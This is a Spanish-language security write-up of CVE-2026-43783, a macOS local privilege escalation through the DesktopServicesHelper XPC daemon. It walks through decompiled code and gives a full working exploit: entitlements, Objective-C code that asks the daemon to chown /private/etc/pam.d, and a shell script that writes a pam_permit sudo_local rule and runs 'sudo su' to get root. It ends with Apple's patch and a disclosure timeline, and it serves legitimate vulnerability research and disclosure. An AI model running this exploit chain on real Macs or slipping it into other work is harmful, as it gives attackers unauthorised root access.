
Prueba de concepto y análisis técnico de CVE-2026-43783, una escalada de privilegios local en macOS a través de DesktopServicesHelper XPC con chown arbitrario para obtener root.
El daemon que Finder utiliza para "reparar" los permisos en archivos de iCloud resultó estar dispuesto a reparar permisos en cualquier cosa, incluidos los directorios del sistema. En este artículo veremos cómo funciona DesktopServicesHelper internamente y por qué una sola solicitud XPC fue suficiente para obtener root.
Estaba buscando objetivos con com.apple.private.tcc.allow con el valor kTCCServiceSystemPolicyAllFiles y DesktopServicesHelper llamó mi atención. DesktopServicesHelper se encuentra en /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, y Finder lo utiliza para operaciones de archivos que requieren privilegios elevados: mover archivos, establecer permisos, trabajar con la Papelera.

Cargué el binario en IDA y fui a start(). Pasada la configuración habitual de temporizador y cola, crea un listener XPC, el punto de entrada del daemon. El listener registra un servicio mach bajo un nombre específico y comienza a escuchar conexiones entrantes. Cualquier proceso que conozca este nombre puede conectarse y enviar una solicitud. Aquí está la parte clave:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
La función `sub_1000709F4` devuelve el nombre del servicio mach. En `start()` se llama con el argumento 0, lo que significa que el daemon se registra bajo el nombre `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 es un bloque manejador (callback) que el daemon invoca para cada evento entrante. XPC está basado en mensajes: el cliente construye un diccionario con claves y valores, lo envía al daemon, y el daemon analiza el contenido y decide qué hacer. Todos los eventos entrantes terminan en este manejador. Veamos su interior.

La función invoke del bloque es sub_100032044. En una nueva conexión, el daemon primero recupera el euid y egid del cliente - ID de usuario efectivo e ID de grupo - los identificadores del usuario y grupo bajo los cuales se ejecuta el proceso que se conecta:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
Luego asigna un manejador para los mensajes entrantes en la conexión:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - aquí es donde llegan las solicitudes XPC reales del cliente. Ahora necesitamos entender cómo el daemon decide qué solicitudes ejecutar y cuáles rechazar.
sub_10003AB2C es el despachador principal. Aquí es donde el daemon decide qué hacer con una solicitud. La función es grande, así que vamos a desglosarla.
Primero, extrae la cadena "request" del mensaje - el nombre del comando que el cliente quiere ejecutar:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
Luego, el daemon recupera el token de auditoría del proceso que se conecta y verifica si se está ejecutando dentro de App Sandbox. App Sandbox es un mecanismo de aislamiento de aplicaciones de macOS que restringe el acceso al sistema de archivos, la red y otros recursos. Aquí es donde se bifurca:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
Si el cliente está en sandbox, el nombre de la solicitud se compara con una lista de permitidos de siete cadenas. Si coincide, la comprobación pasa y la solicitud se procesa. Si no, sub_100034250 mata el daemon.
Si el cliente no está en sandbox, el daemon comprueba el entitlement com.apple.private.tcc.allow con el valor kTCCServiceSystemPolicyAllFiles. La ausencia del entitlement también significa la muerte.
Tras pasar la comprobación, la solicitud pasa por dos tablas de controladores. Primero sub_10002F7C8, luego sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
Ahora veamos las tablas de controladores. La primera tabla (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
Nada interesante aquí. Ocho manejadores (OperationSizing, SetChildPermissions, ...), todos protegidos por comprobaciones de entitlement.
Pero hay una segunda tabla - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Eso nos da 21 handlers. El dispatcher funciona como una cascada: primero busca el nombre de la solicitud en la primera tabla (`sub_10002F7C8`, 8 comandos) - estas son operaciones "fire-and-forget" que toman la conexión XPC y el peer (objeto cliente) pero no devuelven una respuesta. Si no se encuentra - busca en la segunda tabla (`sub_10002A194`, 21 comandos) - estas son operaciones con respuesta, que además reciben un reply (objeto para enviar el resultado de vuelta al cliente).
Casi todos los comandos o no hacen nada interesante o están protegidos por verificaciones de entitlement. Pero hay uno que está abierto - `RepairPermissionsForCloudItems`. Busquemos su handler. En el ensamblado podemos ver que `sub_10002AA78` toma un puntero a función como su tercer argumento:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. Hemos encontrado el único handler accesible desde el sandbox sin entitlements adicionales. Ahora veamos qué hace realmente con los datos que recibe.
El handler sub_10002D744 hace tres cosas. Primero, extrae la clave "Paths" del mensaje XPC y la deserializa mediante NSKeyedUnarchiver en un array de cadenas:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
Luego pasa cada ruta a `sub_100029CE4` mediante `sub_100034B5C` para determinar si se necesita "reparación". Para las rutas que necesitan reparación, llama a `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
No hay validación de rutas: todo lo que se pasa se procesa. La función sub_100029CE4 comprueba si se necesita "reparación". Esta es la lógica clave:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
La lógica de verificación:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
Para las rutas que necesitan reparación, se llama a sub_10002A11C - un bucle simple que itera sobre los resultados y llama a sub_100029440 para cada uno. Aquí está la lógica clave de sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
Eso es todo. El daemon llama a `fchown` sobre cualquier ruta que se le proporcione, sin comprobar que resida en `~/Library/Mobile Documents/` ni en ningún contenedor de iCloud. Y si la ruta es un directorio, la función recorre recursivamente todo su contenido y llama a `fchown` sobre cada elemento.
Léelo de nuevo. Déjalo asimilar. Pasa cualquier directorio - y posees todo su contenido.
## Resumen
La cadena completa desde la solicitud XPC hasta `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
Una solicitud XPC - y cualquier archivo o directorio es nuestro.
Así que tenemos un chown arbitrario sobre cualquier ruta en el disco. Ahora solo necesitamos convertirlo en root.
En macOS, la autenticación pasa por PAM. Las configuraciones están en /private/etc/pam.d/ - un archivo por programa que verifica contraseñas: sudo, login, su, etc. El directorio es propiedad de root:wheel. Así que podemos tomar posesión de él con nuestro chown. Después de eso somos libres de crear el archivo /private/etc/pam.d/sudo_local con una sola línea:```
auth sufficient pam_permit.so
`pam_permit.so` es un módulo PAM que siempre devuelve éxito. `sudo` comprueba `sudo_local` antes de la configuración principal. Resultado: `sudo` ya no pide contraseña.
Pero hay un inconveniente. No puedes simplemente conectarte a `com.apple.DesktopServicesHelper` desde el sandbox: el sandbox bloquea mach-lookup a este servicio por defecto. Pero el propio daemon comprueba que el proceso llamante esté en sandbox - y solo entonces deja pasar `RepairPermissionsForCloudItems` sin una comprobación de entitlement. La ironía: el sandbox aquí no es una defensa - es un pase.
Para conseguir mach-lookup más allá del sandbox, necesitamos el entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Aquí está el conjunto mínimo de entitlements para la aplicación PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
Dos entitlements.
com.apple.security.app-sandbox - habilita el sandbox (sin él, el daemon requeriría un entitlement TCC y nos rechazaría).
com.apple.security.temporary-exception.mach-lookup.global-name - un entitlement de excepción del sandbox.
El sandbox no permite conexiones a todos los servicios mach, y com.apple.DesktopServicesHelper no está en la lista de permitidos. Esta clave añade una excepción para un servicio específico. Eso es todo lo que necesitamos. El código va directamente en ViewController.m. El método clave es chownPath:, que se conecta al daemon y envía la petición:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
Nos conectamos a `com.apple.DesktopServicesHelper`, archivamos la ruta en un `NSArray` mediante `NSKeyedArchiver` (como espera el daemon), construimos un diccionario XPC con la clave `"request"` = `"RepairPermissionsForCloudItems"` y lo enviamos.
Al iniciar la app, llamamos a `chownPath:` sobre `/private/etc/pam.d` y comprobamos el resultado:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms de espera, luego lstat - si el propietario cambió a nuestro UID, el chown tuvo éxito.
Ahora vamos a unirlo todo. El script de shell lanza la aplicación PoC, espera a que el daemon haga su trabajo, verifica que el chown tuvo éxito, escribe la regla PAM y obtiene root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Parche de Apple
Apple añadió una comprobación de entitlement al principio del handler `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
Ahora solo los procesos con el entitlement privado com.apple.private.desktopservices.cloud-repair-perm pueden invocar RepairPermissionsForCloudItems. Sin él, sub_100034250 mata el daemon. El resto de la lógica de la función permanece sin cambios.
| Fecha | Evento |
|---|---|
| 05/09/2026 | Informe enviado a Apple Product Security |
| 05/11/2026 | Apple trasladó el informe a revisión |
¡Gracias por leer, feliz caza de bugs!
| 05/13/2026 | Apple reprodujo el bug, programó la corrección para otoño |
| 05/26/2026 | Parche en macOS 26.6 beta 1 |
| 08/11/2026 | Asignado CVE-2026-43783 |